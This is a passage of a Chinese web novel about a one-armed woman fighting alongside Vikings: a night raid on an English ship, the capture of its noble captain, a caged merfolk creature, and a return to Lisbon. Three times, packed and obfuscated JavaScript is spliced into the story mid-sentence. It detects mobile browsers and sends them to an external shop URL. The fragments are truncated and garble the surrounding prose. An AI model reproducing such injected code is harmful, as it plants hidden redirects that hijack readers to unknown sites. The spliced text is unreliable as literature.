她抬手示意。托尔停桨，小艇借着惯性继续滑行，最后轻轻靠在船尾下方，被巨大的阴影完全吞没。 木兰仰头。船尾壁几乎垂直，包铜的表面在近处看并不完全光滑，有细微的铸造纹理和接缝。足够了。 她深吸一口气，将浸油的牛皮手套戴好，双手按在铜壁上。 黏。 这是第一个感觉。焦油的黏性让手掌牢牢吸附在金属表面。然后是沙粒提供的摩擦，像无数微小的牙齿咬合。 她开始攀爬。 动作很慢，像真正的壁虎。右脚尖寻找浮雕的凸起，左手向上摸索，找到下一个吸附点，身体贴紧壁面，一寸一寸向上挪动。独眼在黑暗中反而成了优势，她不需要适应光暗变化，始终保持着对阴影最敏锐的感知。 下方，托尔和哈肯屏息看着。小艇随海浪微微起伏，像在为她计时。 攀爬至一半时，左上方舷窗的光忽然暗了一下。 有人靠近窗边。 木兰立刻停住，身体紧贴在一朵浮雕玫瑰的阴影里。心跳在耳膜里鼓动，但她呼吸控制得极稳。 舷窗被推开一条缝。一个水手探出头，打了个哈欠，嘴里嘟囔着什么，朝海面吐了口唾沫。唾沫几乎落在木兰头顶三尺处。 水手没往下看。他缩回头，窗扇重新关上。 木兰继续向上。 终于，左手触到了尾楼甲板的边缘。木质的，不是铜。她手指扣住边缘，引体向上，右肩残肢抵住船壁借力，一个轻巧的翻身，滚上甲板，立刻缩进一处缆绳堆的阴影里。 她成功了。 --- 甲板很窄，是环绕尾楼的走道。前方五步就是通往舵轮室的木门，右侧是通往下一层甲板的楼梯。一切如奥拉夫所料，此刻这里空无一人——所有人都被即将到来的换班和晚餐吸引了注意力。 但钟房在哪里？ 木兰贴着船壁移动，独眼扫视。尾楼结构复杂，楼梯盘旋向上。钟房应该在舵轮室上方，靠近船长室的位置…… 下方主甲板忽然传来一声闷响。 紧接着是第二声，第三声。 那是埃里克小队撬开底舱栅栏的声音。 几乎同时，正前方海狼号的方向，爆发出撕裂夜空的战吼。 “奥丁在看着我们——！！！！” 三十四个喉咙同时咆哮，声音像海啸般扑向蓟花号。紧随其后的，是密密麻麻的抓钩破空声，铁钩咬进木板的闷响，绳索绷紧的吱呀声。 战斗开始了。 木兰不再犹豫。她像一道影子滑上楼梯，两步一层，直奔尾楼第二层。 --- 主甲板已经变成炼狱。 奥拉夫是第一个跳上蓟花号船舷的人。他没用抓钩，直接借着海狼号冲撞的势头，像投石机抛出的巨石般砸进敌群。双刃战斧抡开的瞬间，两个刚拔出剑的水手就被拦腰斩断。 维京战士如潮水般涌上甲板。他们确实用湿布塞了耳，但战吼声从胸腔直接爆发，震得连船身都在颤动。火把的光在激烈的运动中拉出残影，人影交错，刀斧碰撞的锐响、骨头碎裂的闷响、濒死的惨嚎，混成一锅沸腾的死亡之汤。 英军反应不慢。军官的嘶喊声中，两舷的火枪手同时开火。 轰——！ 二十支火门枪齐射的巨响确实像奥拉夫描述的——闷雷在耳边炸开。浓白的烟雾瞬间弥漫，刺鼻的硫磺味呛得人咳嗽。铅弹穿透烟雾，打在最前排维京战士的盾牌上。 笃笃笃……像冰雹砸在厚木板上。 湿牛皮加橡木的复合盾起了作用。大部分铅弹嵌在盾面，只有少数穿透，但也失了力道，在锁甲上留下凹痕，没造成致命伤。 但声音和烟雾起作用了。 几个年轻的维京战士动作滞了一瞬，下意识想捂耳朵。就这一瞬，英军的长矛刺了过来。 “吼——！”奥拉夫的咆哮像鞭子抽在每个人背上，“压上去！他们的枪废了！” 他说得对。火枪手们正手忙脚乱地重新装填：倒火药、塞铅弹、用通条压实、在火门上安置引火药……这个过程需要时间，而维京人不会给他们时间。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081261|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >战斧劈开烟雾，砍进血肉。 埃里克是从底舱杀上来的。 他和三个同伴撬开栅栏，潜入漆黑潮湿的底层货舱。这里堆满木箱和麻袋，空气中弥漫着谷物、咸鱼和老鼠屎的混合臭味。几个留守的水手正在玩骰子，听到头顶传来的战吼和枪声，茫然地抬头。 然后他们看见了从黑暗中走出来的维京人。 战斗短暂。埃里克的手斧砍倒两个，同伴解决剩下三个。他们没停留，直奔通往主甲板的楼梯。 楼梯口有两个持戟的守卫。埃里克从阴影中掷出第一把斧子，劈开一人的锁骨，同时扑上去，用第二把斧子格开另一人的戟刺，膝盖顶中对方腹部，斧刃顺势上撩，切开喉咙。 血喷了他一脸。 他抹了把脸，冰蓝色的眼睛里没有情绪，只有绝对的专注。楼梯上方传来混乱的脚步声和喊叫，英军正在集结，试图夺回楼梯控制权。 “守住这里。”埃里克对同伴说，自己则转向另一条通道——那是甲板的路线。 他需要制造更大的混乱。 --- 木兰在尾楼第二层找到了钟房。 门没锁。里面空间狭窄，正中悬挂着一口黄铜大钟，钟锤用绳索连接，绳索沿着天花板上的滑轮组延伸出去，通往船长室和舵轮室。一个年轻的传令兵正紧张地握着钟绳，耳朵贴在门板上听外面的动静。 木兰推门的动作很轻，但门轴还是发出细微的吱呀声。 传令兵猛地转身，脸上瞬间血色尽失。他想喊，但声音卡在喉咙里——木兰的匕首已经抵在他颈侧。 “别动。” 传令兵僵住了，眼睛瞪得老大，看着这个突然出现的、穿着古怪覆皮、只有一条胳膊的东方人。 “钟绳，哪根控制‘全体撤退’？”木兰问。 传令兵颤抖着指向其中一根。 木兰用匕首割断它。然后是“转向左舷”、“转向右舷”、“集火射击”……一根根绳索在她刀下断开，像被斩首的蛇垂落下来。 最后只剩下“接敌警报”。 她没割这根。 “现在，”她将匕首稍微压深半分，血珠沁出，“你拉响它。用最大的力气拉。” 传令兵咽了口唾沫，双手抓住钟绳，猛地一扯。 当——！ 铜钟轰鸣，声音穿透木板和烟雾，在整条船上回荡。 当——！当——！当——！ 三长两短，正是“接敌警报”的节奏。但配合此刻甲板上已经白热化的战斗，这钟声只会传递一个信息：情况危急，需要增援。 果然，下方传来更混乱的脚步声和喊叫。英军的指挥系统开始错乱——部分人按照原计划坚守岗位，部分人以为需要撤退，部分人盲目地冲向钟声指示的“危急区域”。 混乱，正是维京人需要的。 木兰利落一划，传令军无声毙命。 木兰走出钟房，贴着走廊墙壁，向尾楼最高层船长室潜行。按照奥拉夫的情报，理查·德·克莱尔应该在那里。 楼梯转角处忽然传来脚步声。 她立刻闪身躲进一处凹进去的储物间，屏住呼吸。 两个英军士兵跑上来，穿着镶钉皮甲，手里拿着剑，脸上沾着烟灰和血。“钟房在上面！快！” 他们从木兰藏身的凹槽前跑过，没注意到阴影里的人。 等脚步声远去，木兰继续向上。 船长室的门紧闭着，但从门缝里透出灯光。她将耳朵贴在门板上。 里面有人在说话，声音急促，带着压抑的怒意。 “……一群废物！连钟绳都守不住！去，带人去钟房，把传令兵找出来，我要亲手绞死他！” “是，大人。但甲板上……” “甲板上有火枪队和长矛手，足够对付那些野蛮人！快去！” 脚步声靠近门。木兰立刻后退，闪到楼梯下方阴影里。 门开了，一个军官模样的人冲出来，带着四个士兵，急匆匆往楼下跑。 14. 北海渡11 门没关严。 木兰等了几秒，确认走廊无人，轻轻推开一条缝，贴上眼。 船长室比她想象得奢华。波斯地毯，银制酒具，墙上的海图用金框装裱，桌上甚至摆着一个小巧的、镶嵌珍珠的地球仪。空气里有葡萄酒、香水和陈年羊皮纸的味道。 理查·德·克莱尔侧对着门，站在舷窗前，手里握着一把短管手铳。窗外，主甲板的火光映亮了他紧绷的侧脸。 他正在给手铳装填。 木兰看到了整个过程：倒火药、塞铅弹、压实、安置引火药……动作熟练，但人在微微颤抖。理查低低地笑，肩头跟着发狠似的抽动，不是恐惧，是兴奋，一种猎人终于等到猎物的兴奋。 她轻轻关上门，没发出声音。 然后转身，迅速下楼。现在不是动手的时候。理查有火器，船长室空间狭窄，没有迂回余地。她需要更好的时机。 楼梯下到一半，主甲板的景象映入眼帘。 战斗已经进入最残酷的阶段。维京人彻底站稳了脚跟，正以奥拉夫为箭头，像楔子般凿进英军阵型中央。斧刃劈砍，盾牌撞击，鲜血在甲板上汇成滑腻的小溪，流向排水孔。 埃里克也在那里。他一个人守着一截船舷，周围躺着五具英军尸体。三个持戟的士兵正在围攻他，戟尖从不同角度刺来，他用手斧格挡，脚步在血泊中移动，每一次格挡都精准到毫厘。 但木兰看到了危险：右侧一个倒地的英军还没死透，正悄悄摸向掉落在旁的剑。 她没有犹豫。 从楼梯上一跃而下，落地时顺势翻滚，左手匕首出鞘，划过那伤兵的喉咙。动作干净利落，像割断一根绳子。 然后她起身，融入混战的人群。 埃里克看到了她，冰蓝色的眼睛闪过一丝什么。他忽然暴喝一声，双斧同时荡开两柄戟，空门大开。正面的士兵以为得手，挺戟直刺—— 木兰从侧面切入，匕首刺进那士兵的肋下，顺势一绞，拔刀，血喷。 另外两个士兵一愣。埃里克的斧子已经到了。 一颗头颅飞起，另一人被斧背砸中面门，鼻骨碎裂的脆响清晰可闻。 “尾楼？”埃里克喘着气问，脸上血和汗混在一起。 “找到了。”木兰说，“给我一件英军外套。” 埃里克没多问，从一具尸体上剥下镶钉皮甲和染血的外套，扔给她。 木兰迅速套上。衣服宽大，遮住了她覆着的湿牛皮。她又抓了把血污抹在脸上，将空荡的右袖塞进怀里，伪装成受伤蜷缩的样子。 “需要多久？”埃里克问。 “他有枪，第二次击发时，至少一分钟。”木兰说，“这一分钟，够我近身。” 埃里克点头。“奥拉夫那边压力很大。弩炮手在重新装填石弹，一旦发射，我们会死很多人。我得去解决弩炮。” “去。”木兰说，“贵族交给我。” 两人对视一眼，没再多说，转身投入不同的方向。 埃里克冲向船头弩炮台，战斧在火光中抡出死亡的弧线。 木兰则跌跌撞撞地跑向尾楼楼梯，一边跑一边用带着哭腔的英吉利语喊： “大人！大人！底舱漏水了！海盗从后面上来了！” 声音惊恐，绝望，完美模仿了一个吓破胆的水手。 她冲上楼梯，撞开船长室的门。 理查·德·克莱尔完成装填，正将短管手铳对准门口。 他看到了一个满身血污、断了一条胳膊、惊恐万状的水手。 “你说什么？！”他厉声问，枪口却没放下。 “底舱！海盗从水下钻进来，破了底舱！船要沉了！”木兰扑倒在门口，“大人快去看看——” 理查的脸色变了。底舱漏水是海员最深的噩梦。他下意识地朝门口迈了一步，枪口下垂了半分。 就这一瞬。 木兰动了。 她不再伪装，身体像压缩到极致的弹簧般弹起，左手匕首直刺理查握枪的手腕。 但理查的反应比她预想的快。 他毕竟是受过正规剑术训练的贵族，虽然慌乱，但肌肉记忆还在。他猛地缩手，同时扣动了扳机。 轰——！ 短管手铳在极近距离击发，枪口喷出的火焰几乎燎到木兰的脸。灼热的气浪，刺鼻的硫磺味，巨大的轰鸣震得她左耳瞬间失聪。 但子弹没打中。 木兰在他扣扳机的瞬间已经侧身翻滚，子弹擦着她耳畔飞过，击穿门板，木屑纷飞。 她耳鸣得厉害，世界像隔了一层水。但眼睛看得清——理查扔掉了空枪，他知道来不及装填，从墙上拔出了装饰用的礼仪长剑。 开刃的剑，寒光凛冽。 “原来是你。”理查盯着她，脸上惊恐褪去，换上一种扭曲的兴奋，他想起来木兰那天手脚并用的推销那破帆布。“烂货市场的独眼老鼠。” 木兰没回答，她听不懂英语，现学的两句已用完。她缓缓站直，匕首换到正握，独眼锁定对手的每一个细微动作。 理查挥剑试探，一个标准的起手式，脚步沉稳。他确实学过格斗，剑法走宫廷流派，华丽但有效。 木兰不退反进，匕首格开第一记直刺，身体贴剑身滑入，左膝顶向对方小腹。 理查撤步，剑锋下压，削向她脖颈。她仰身躲过，匕首上撩，刺向他手腕。 铛！匕首与剑身碰撞，火星迸溅。 两人在狭窄的船长室里缠斗。理查的剑长，占据优势，但木兰更灵活，总是贴得很近，让长剑难以发挥。匕首与剑锋不断交击，声音急促如暴雨。 木兰在观察。理查的剑术严谨，但缺乏实战的变通。他每次攻击前都有微小的预兆——肩膀下沉，手腕微转，呼吸节奏变化。 第五个回合，理查使出一记突刺，力道用老。 木兰等的就是这一刻。 她不格挡，反而用左肩硬撞向剑身侧面。剑锋划过覆着的湿牛皮，切开皮料，但没能深入。撞击的力道让理查身体一歪。 就是现在。 木兰的匕首像毒蛇吐信，精准地挑进理查右手腕的肌腱之间，一划，一挑。 “啊！”理查惨叫，长剑脱手。 他左手本能地去捂伤口，木兰的匕首已经划出第二道弧线，割断了他左脚跟的肌腱。 理查跪倒在地，鲜血从手腕和脚踝涌出，瞬间染红地毯。 “你……你这个……”他疼得脸色惨白，嘴唇颤抖，还想说什么。 木兰没给他机会。她扯下窗帘的束带，迅速将理查双手反绑，又用另一根束带捆住他的双脚。动作熟练得像在捆扎货物。 然后她捡起地上的短管手铳，检查了一下——确实是好工艺，银雕精美。她将枪插进腰带。 窗外，主甲板的战斗声正在减弱。 维京人的战吼越来越响，英军的抵抗越来越零星。 木兰拖着被捆成粽子的理查，走出船长室。楼梯上传来沉重的脚步声，奥拉夫带着几个战士冲了上来，脸上、身上全是血，但眼睛亮得吓人。 他看到了木兰，看到了她手里的俘虏。 短暂的沉默。 然后，奥拉夫咧开嘴，露出一口被血染红的牙齿。 “干得漂亮，林。” --- 战斗午夜前彻底结束。 蓟花号的甲板上躺满了尸体，大部分是英军的，也有十几个维京战士。伤者的呻吟在夜风中飘散，像哀悼的挽歌。 奥拉夫下令清理战场。维京战士将同伴的尸体小心抬回海狼号，英军的尸体则抛入大海，这是海葬，也是防止瘟疫。 俘虏有二十三人，包括重伤的大副和几个军官。理查·德·克莱尔被单独关押在尾楼一个储藏室里，手脚的伤口被简单包扎，但没给止痛药。奥拉夫要让他清醒地感受一切。 “搜船。”奥拉夫对埃里克说，“所有值钱的，能搬的，都搬上来。特别是底舱那些木箱，我倒要看看威尼斯精密仪器是什么宝贝。” 埃里克带着十个人下去了。 木兰没跟去。她站在主桅下，抬头看着蓟花号的主帆。帆面上绣着克莱尔家族的纹章——三只交错的猎犬，金线在火光中依然闪亮。夜风吹过，帆布微微鼓起，像巨兽垂死的呼吸。 奥拉夫走过来，站在她旁边。他没看帆，看着甲板上尚未干涸的血迹。 “理查·德·克莱尔。”奥拉夫的声音底下有东西在翻滚，“一年前，在北海。哈拉尔的船只是误入那片海域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081262|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他们解释了，愿意立刻离开。但理查要功劳，要人头。他让手下先动手，等哈拉尔被围住，筋疲力尽时，从背后用钉头锤砸碎了他的头骨。” 他顿了顿，从腰后抽出自己的钉头锤。锤头沾着血，在火光中泛着暗红。 “今天，我用同样的家伙，砸碎了至少五个人的脑袋。”奥拉夫说，“但不够。远远不够。” 木兰没说话。她知道奥拉夫不需要回答。 底舱忽然传来喊声，是埃里克的声音，带着某种罕见的、近乎震惊的语气。 “奥拉夫！下来！你快下来看看！” 奥拉夫和木兰对视一眼，快步走向底舱入口。 底舱比想象中深，楼梯陡峭，空气中弥漫着海水、腐烂木料和某种难以言喻的腥甜气味。火把的光照亮了堆积的货箱、散落的麻袋，还有一个用厚重帆布围起来的巨大水池。 水池占去了底舱近三分之一的空间，边缘用木框加固，帆布从木框上垂下，浸在水里。水是活水，通过一套简陋的管道系统与船底的进排水口相连，保持循环。水面上漂浮着切碎的鱼块和贝类残渣。 埃里克和几个战士站在水池边，火把举高，脸色在摇曳的光中显得异常复杂。 “里面有东西。”埃里克说。 奥拉夫走近，弯腰看向水池深处。 水很清，但深。火把的光只能照亮上层。起初什么也看不见，只有水波晃动投下的阴影。然后，阴影动了。 一个轮廓缓缓从深处浮上来。 先是苍白的、几乎透明的手臂，五指间有蹼状的薄膜。接着是长发，海草般在水中散开，颜色是一种失去生命力的灰绿。最后是脸——一张介于人类与鱼类之间的脸，眼眶深陷，鼻梁几乎不存在，嘴唇薄得像两道裂口。 它睁开眼睛。 眼睛很大，几乎占去半张脸，瞳孔是纯黑色的，没有眼白。那目光空洞，麻木，像深海里从未见过光的生物。 美人鱼。 这个词跳进每个人的脑海，但没有人说出来。这不是传说中歌唱诱惑水手的美丽生物，而是一个憔悴、怪异、被囚禁在帆布水池里的……东西。 它浮到水面附近，手臂无力地划动了一下，然后又沉下去，回到阴影里。整个过程安静得可怕，连水花声都轻微得像叹息。 “诸神啊……”一个年轻的维京战士低声说，划了个驱邪的手势。 奥拉夫直起身，脸上的肌肉绷得很紧。他看向埃里克：“那些木箱里是什么？” “空的。”埃里克说，“十二个木箱，全是空的。只有稻草。威尼斯精密仪器是个幌子。真正的货物是这个。” 那东西再次缓缓浮上水面。这次它抬起脸，纯黑的巨大瞳孔映着火把跳跃的光，却没有倒影，仿佛所有的光都被吸进了那深不见底的黑暗里。它的目光掠过战士们僵硬的身体，紧握武器、指节发白的手，最后停留在木兰脸上。 对视的刹那，木兰感到脊椎窜起一道冰冷的战栗。 这与她在里斯本码头初见火枪时感受到的震撼截然不同。火枪是可理解的机械，无非是火药推动金属，也不过是另一种精巧的弩。 可它不属于任何她所知的纲目。既非《山海经》里志怪笔下的精魅，也非佛经所述六道众生。它身上同时存在着过于像人的肢体轮廓，和彻底非人的生理细节——颈侧细微开合的鳃裂，指尖半透明的蹼膜，皮肤下隐约可见的、不同于人类血管走向的幽蓝脉络。 感官此刻如隔着一层厚玻璃，木兰耳边嗡嗡作响。她死死盯着那生物缓缓沉入水底，仿佛它本就是这潭死水的一部分，是海深处某种不可言说之物的延伸。 她忽然想起老海商醉醺醺提起的“英吉利新学问”——那些解剖尸体的医生，那些用玻璃镜片观察的学者。他们试图用规律和公式解释万物。可眼前这东西能被解剖吗？能被归类吗？能被那些精巧的仪器测量、记录，然后安然塞进某个“物种”的抽屉里吗？ 恐惧在她胃里凝结成块。不是对刀剑或火药的恐惧，而是对未知本身的恐惧。在人类文明灯火照不到的深海里，悄然蠕动、繁衍、被捕获又被贩卖的一种不可描述之物。 她突然想干呕，这比任何地狱都更令她毛骨悚然。因为地狱至少是人造的。 15. 北海渡12 “怎么处理？”埃里克问。 奥拉夫没立刻回答。他走回楼梯，上到甲板，深深吸了口夜晚清冷的空气。然后他转身，对跟上来的战士说： “帆。” 他指向主桅上的帆布。 帆被降了下来。两个战士将理查拖出来，按跪在甲板上。理查脸色惨白，但咬着牙没出声，眼睛死死瞪着奥拉夫。 奥拉夫抽出匕首，抓住理查的左手，在掌心划开一道深口。血涌出来，滴在甲板上。 “你的家族，”奥拉夫的声音低沉如远雷，“用我表兄哈拉尔的头装饰大厅。今天，我用你的血装饰我的帆。” 他将理查流血的手按在帆面上，拖动。 血在洁白的帆布上划出狰狞的痕迹。奥拉夫抓着他的手，画了一个粗糙但清晰的图案——狼头，维京长船船首雕刻的狼，张着嘴，露出獠牙。 画完，奥拉夫松开手。理查瘫倒在地，失血和疼痛让他意识模糊。 “给他止血。”奥拉夫对旁边的战士说，“别让他死在这。” 战士用布条缠紧理查的手掌。 奥拉夫转向其他俘虏。二十三个英军被剥光了衣服，赤条条地站在夜风里，瑟瑟发抖。 “你们，”奥拉夫说，“坐小艇回去。告诉每一个港口的人，海狼号记得每一个兄弟的血债。告诉理查·德·克莱尔的家族，他们的纹章从此染上了我们的印记。” 他顿了顿，补充了一句：“如果你们能活着漂回去的话。” 小艇被放下水，只给了最基础的桨，没有帆，没有食物和水。二十三个赤裸的人挤在狭窄的艇里，像一群待宰的羔羊。 奥拉夫挥挥手。小艇被推离船舷，漂向黑暗的海面。 然后他看向底舱入口。 “把水池打开。”他说，“放它走。” 埃里克愣了一下。“放走？这可是理查……” “这是个诅咒。”奥拉夫打断他，声音里带着罕见的惊悚，“谁带着它，谁就会沾上厄运。我们为复仇而来，不为掠夺这种东西。” 几个战士用刀割开帆布围栏，撬开水池底部的排水塞。海水哗哗涌出，带着池水汇入底舱的积水，又从破口流回大海。 那个苍白的身影在水位下降时显露出来。它蜷缩在池底，手臂抱着自己，长发贴着脸。当水降到它胸口时，它抬起头，那双纯黑的眼睛看向维京人。 然后，它动了。 不是游，是爬。用带着蹼的手扒住池壁，一点点挪出水池，拖过潮湿的木地板，滑向底舱的破口。动作笨拙，艰难，像刚学会走路的婴儿。 它消失在破口外的黑暗海水中。 没有人说话。 最后，奥拉夫下令搬走所有能用的物资：食物、淡水、酒、武器、火药。那十二个空木箱也被搬上船，也许有用。 “烧了。”他说。 几个战士在蓟花号的底舱堆满浸了焦油的破布和木屑，点燃。火焰迅速蔓延，吞噬了木质的船体。浓烟升起，在黎明前的灰白天幕上拉出一道狰狞的伤疤。 但奥拉夫没让烧帆。 “把帆卷好，带上。”他说，“那面染血的帆，我要挂在海狼号的桅杆上。让所有经过这片海域的人都能看见。” 战士照做了。主帆被卷起，血迹未干，狼头图案在晨光中依然刺眼。 海狼号升起船帆，桨手就位，缓缓驶离正在燃烧的巨船。 蓟花号的船身已被火焰吞没，桅杆折断，缓缓倾斜。但那面没了帆的主桅依然指向天空，像一截烧焦的、指向复仇者的手指。 它会在这片海域漂浮很久，也许几周，也许几月，直到彻底解体沉没。而在这段时间里，每一个看到它的水手都会听到那个故事——关于维京狼群，关于血染的纹章，关于一场发生在暮色中的复仇。 木兰站在左舷，埃里克的左侧。她换回了自己的衣服，湿牛皮已经脱下，左肩的绷带又渗出了血，刚才的缠斗撕裂了伤口。 但她感觉不到疼。或者说，疼痛已经成了身体本身的一部分，像呼吸一样自然。 她看着蓟花号在火焰中崩塌，看着那截烧焦的船壳开始缓缓下沉。水面上漂浮着碎木和杂物。 埃里克递过来一块湿布。她接过，擦拭左手上的血污。有敌人的，也有自己的。匕首已经擦干净，插回靴筒。那柄短管手铳也收好了，她回去要好好研究。 两人都没说话。海风吹过，带着焦烟、盐和某种深海的腥气。 奥拉夫从船尾走过来，停在木兰面前。他高大的身影在晨光中投下长长的影子。 他伸出手，不是要握手，而是用力拍了拍木兰的左肩，避开了伤口的位置。 然后他转身，走向船首，开始指挥航行。 木兰看着他的背影，又转头看向东方。海平面尽头，太阳正挣脱黑暗的束缚，将第一缕金光洒向海面。 那光很亮，很冷，照在脸上像刀锋的触碰。 她握紧了左手。掌心有薄茧，有伤痕，有握住武器时熟悉的硬度。 还不够。路还很长。 海狼号破开波浪，先要回里斯本。接着，会向北，向更寒冷也更自由的海域驶去。 船首，狼头雕刻在晨光中昂首，仿佛在无声地咆哮。 而在他们身后的海面上，那艘烧焦的、没有帆的船壳正在晨光中缓缓旋转，像一座漂浮的墓碑。血色的狼头图案虽已不在船上，却印在了每一个目睹者的记忆里，成为这片海域最新的、最恐怖的传说。 --- 晴天，正午，海狼号驶入里斯本港。 海水是碧蓝色，天空无云，阳光直射下来，把船帆照得发白。桨叶整齐划一地收起，水珠在空中短暂停留，折射出细碎的光，然后落回海面。长船像一头疲惫但满足的狼，安静地滑向它熟悉的码头。 缆绳抛出去，铁钩咬进木桩。港口喧嚣如常，搬运工的号子、商贩的叫卖、海鸥的鸣叫混成一片嘈杂的背景音。 奥拉夫从船尾走到木兰身边。“下船后，有什么打算？”他问，声音只够两人听见，“我们那边有空铺，有地方睡，有肉，有酒。” 木兰正用左手检查靴筒里匕首的位置，闻言抬头。独眼在强光下微微眯起。 “我要先回码头。”她说。 奥拉夫点了点头，没再劝。他从腰间解下一个小皮袋，扔给木兰。“你的份。” 袋子入手颇沉，里面是银币，碰撞时发出沉闷的摩擦声。木兰没打开看，直接塞进怀里。 “谢了。” “是你自己挣的。”奥拉夫说完，转身走向正在卸货的同伴，没再回头。 --- 码头的石板路被晒得滚烫，热气蒸腾上来，混着鱼腥和汗臭味。木兰穿过人群，右袖空荡地晃着，左眼在强光下微微眯着。 她走向市场西北角，那个她待了半年的地方。 油布摊子还在，但上面摆的不是老费尔南多那些稀奇古怪的破烂。几卷廉价的亚麻布摊开着，一个她从没见过的北非商人正蹲在旁边，用蹩脚的葡萄牙语和顾客比划。 木兰的心咯噔一下。 她几乎能想象出接下来会发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“随你。”老费尔南多摆摆手，已经转身朝他那块新摊位走去，“破棚子还在，爱睡就睡。记得天亮前滚蛋，别耽误老子搬货。” --- 破棚屋还是老样子。 门板歪斜，屋顶漏光，空气里一股霉味和老鼠屎的混合气息。木兰弯腰钻进去，在角落里那堆发霉的麻袋上坐下——这是她睡了半年的“床”。 她卸下装备，一样样摆在面前。 匕首，从默市换来的那把。刃口多了好几道缺口，最深的一道差点把刀尖崩断。血槽里嵌着洗不掉的黑色污渍。 短管手铳，从理查·德·克莱尔那里缴获的。银丝雕花在昏暗的光线下依然精致，胡桃木枪托温润如玉。她拿起枪，手指抚过枪管。冰冷，光滑，沉重。她知道怎么装填——看理查做过一遍：火药，铅弹，压实，引火药。但她没有火药，也从来没碰过火器。这东西现在和一块精致的废铁没什么区别。 最后是玉簪。 白玉温润，簪头雕着简单的云纹。她把它从胸口最内层的夹袋里取出。簪身不再完美无瑕——有几处细微的磕碰痕迹，一道浅得几乎看不见的裂痕从簪尾向上蔓延了半寸。 是战斗时磕到的。贴身藏着也不安全。 她看着这三样东西。杀人的，可能杀人的，和提醒她为什么要活下去的。 然后她开始重新整理。玉簪放回胸口夹层，贴着皮肤。枪插进腰带左侧，用破布裹好。匕首插回左靴筒。 做完这些，她靠在墙上，闭上眼睛。棚外的喧嚣隐约传来，一切如常。 在这里，放松就是找死，但是今天的太阳，正适合午睡。 --- 16. 北海渡13 积灰美人鱼的招牌在傍晚的风里轻轻摇晃。 木兰推开酒馆门。里面已经热闹起来，水手、妓女、赌徒挤满了长桌，老板娘站在吧台后面，正和一群汉萨商人说笑，粗壮的手臂挥舞着，声音洪亮得像在甲板上喊号子。 她没注意到木兰。 这不奇怪。虽然一个独眼断臂的东方面孔在里斯本码头本该很显眼，但这近半年时间，木兰已经学会怎么把存在感压到最低：脚步放轻，视线不直接与人对上，身体永远贴着墙或阴影移动。 她像一抹影子，滑过喧闹的大厅，推开角落那扇不起眼的小门。 草药味涌出来，盖过了外面的浊气。 希尔达不在。房间里干净整洁，架子上瓶瓶罐罐码放整齐，水晶球在暮色中泛着幽光。木兰拉过椅子坐下，开始等。 等待时，她看向架子上的水晶球。但脑子里不受控制地回到海上，回到蓟花号底舱那个帆布水池。 那双眼睛。 纯黑，没有眼白，像两个深不见底的洞口。对视的刹那，木兰感觉到的不只是恐惧，还有一种生理上的异样。她的感官变得模糊，像隔着一层厚水，声音远了，光线暗了，连自己心跳的节奏都变得陌生。她清楚，这并非是被吓住了，而是某种实际存在的东西，像一层看不见的雾，从生物身上弥漫出来，干扰着她作为人的感知。 门轴吱呀一声。 希尔达推门进来，怀里抱着一捆新晒的草药。看到木兰，她吓了一跳，草药差点掉地上，随即露出笑容。 “林？你回来了。” “刚靠岸。”木兰站起身，从怀里摸出两枚银币放在桌上，“伤口需要处理。” 希尔达看了眼银币，没碰。她放下草药，转身去取药箱。“坐下吧。” 清理伤口的过程很安静。希尔达的动作熟练轻柔，先用温水洗净血痂，再涂上刺鼻的消毒药酒。 “你的伤好得真快。”希尔达一边包扎一边说，语气里带着真诚的惊叹，“这么深的刀口，一般人至少得躺大半个月。你这还没几天，新肉已经长出来了。” 木兰睁开眼。“为什么？” “不知道。”希尔达耸耸肩，“我老师，教我医术和占卜的那位女士，她说过，每个人身体的元素都不一样。” 她像是打开了话匣子：“老师是个很特别的人。她去过很多地方，读过很多书，懂得比港口大多数人都多。但在这里……”希尔达的声音低下去，“男人有学问会被尊称贤者和学者，女人有学问，尤其还年轻漂亮，就只会被叫女巫。那些男人看她的眼神，很脏” 木兰安静地听着。 “老师愿意教我，是因为妈妈帮过她。”希尔达继续说，手上的动作没停，“有一次几个醉汉在酒馆骚扰老师，妈妈提着擀面杖把他们全打出去了。后来妈妈去找老师，希望老师教教我。妈妈当时对老师说：” “我女儿不能像我一样，只会打架和算账。请你教她点真本事，让她以后有条活路。” 她打好绷带结，开始收拾工具：“其实让我经营酒馆也是个好谋生呀。酒馆是妈妈从外公手里接来的，生意一直很好。” “妈妈，她从小就和别的女孩不一样。又高又壮，力气比男孩还大，性格也烈。别人开酒馆靠笑脸迎客，她开酒馆靠的是没人敢惹。但她心里其实，挺孤独的。” 希尔达的声音多了叹息：“后来她遇到了我父亲，一个维京人。妈妈说，他是第一个不把她当怪物或男人婆看的人——他真的把她当女人来对待，会送她花，会陪她看港口的日落。虽然那段日子很短。” “他走了？” “嗯，说要出海，就再没回来。”希尔达的语气很平静，像在说别人的故事，“妈妈问过其他维京人，他们说那家伙是个烂货。每个港口都有债，每个码头都有女人。大部分维京人都看不起他。不知道是死在海上了，还是又躲在哪个港口混日子。” 